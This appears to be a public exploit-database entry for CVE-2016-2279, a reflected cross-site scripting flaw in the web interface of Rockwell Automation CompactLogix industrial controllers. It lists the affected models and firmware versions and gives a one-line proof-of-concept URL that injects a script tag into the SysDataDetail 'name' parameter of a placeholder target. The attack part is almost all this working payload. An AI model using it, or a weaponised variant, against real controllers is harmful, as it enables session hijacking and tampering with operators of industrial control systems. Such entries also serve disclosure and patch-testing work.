# Exploit Title: Rockwell Scada System - Cross-Site Scripting
# Date: 2018-05-16
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://rockwellautomation.com/
# Software Link: http://compatibility.rockwellautomation.com/Pages/MultiProductDownload.aspx?famID=4
# Version: 1769-L16ER-BB1B, Version 27.011 and earlier, 1769-L18ER-BB1B, Version 27.011 and earlier,
# 1769-L18ERM-BB1B, Version 27.011 and earlier, 1769-L24ER-QB1B,
# Version 27.011 and earlier, 1769-L24ER-QBFC1B
# Version 27.011 and earlier, 1769-L27ERM-QBFC1B, Version 27.011 and earlier
# 1769-L30ER Version 27.011 and earlier, 1769-L30ERM, Version 27.011 and earlier,
# 1769-L30ER-NSE, Version 27.011 and earlier
# 1769-L33ER Version 27.011 and earlier, 1769-L33ERM, Version 27.011 and earlier, 1769-L36ERM, Version 27.011 and earlier
# 1769-L23E-QB1B, Version 20.018 and earlier (Discontinued June 2016), and 1769-L23E-QBFC1B, Version 20.018 and earlier
# (Discontinued June 2016).
# Tested on: Windows Machine and Chrome,Firefox explorer
# CVE : CVE-2016-2279

# PoC
http://TargetIP/rokform/SysDataDetail?name=<<script>alert(1);</script>